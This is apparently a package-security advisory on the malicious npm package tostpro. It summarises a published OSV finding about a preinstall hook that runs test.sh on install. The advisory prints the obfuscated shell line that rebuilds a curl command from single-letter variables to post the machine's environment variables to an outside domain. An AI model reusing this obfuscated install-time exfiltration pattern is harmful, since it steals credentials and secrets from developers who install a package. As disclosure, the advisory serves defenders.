OpenSSF/OSV advisory MAL-2026-17564 confirms this npm version as malicious. The npm package tostpro@100.2.0 ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on `npm install`. The script assembles the command `curl` and the data source `env` from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into `dom=https://abbishal.` plus `tld=com`, reconstructing them at runtime as `$i$h$l -d "`$b$s$a`" $dom$tld/sh/poc`...
This report applies to tostpro@100.6.0.
100.2.0, 100.6.0
See version security history for other recorded verdicts.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.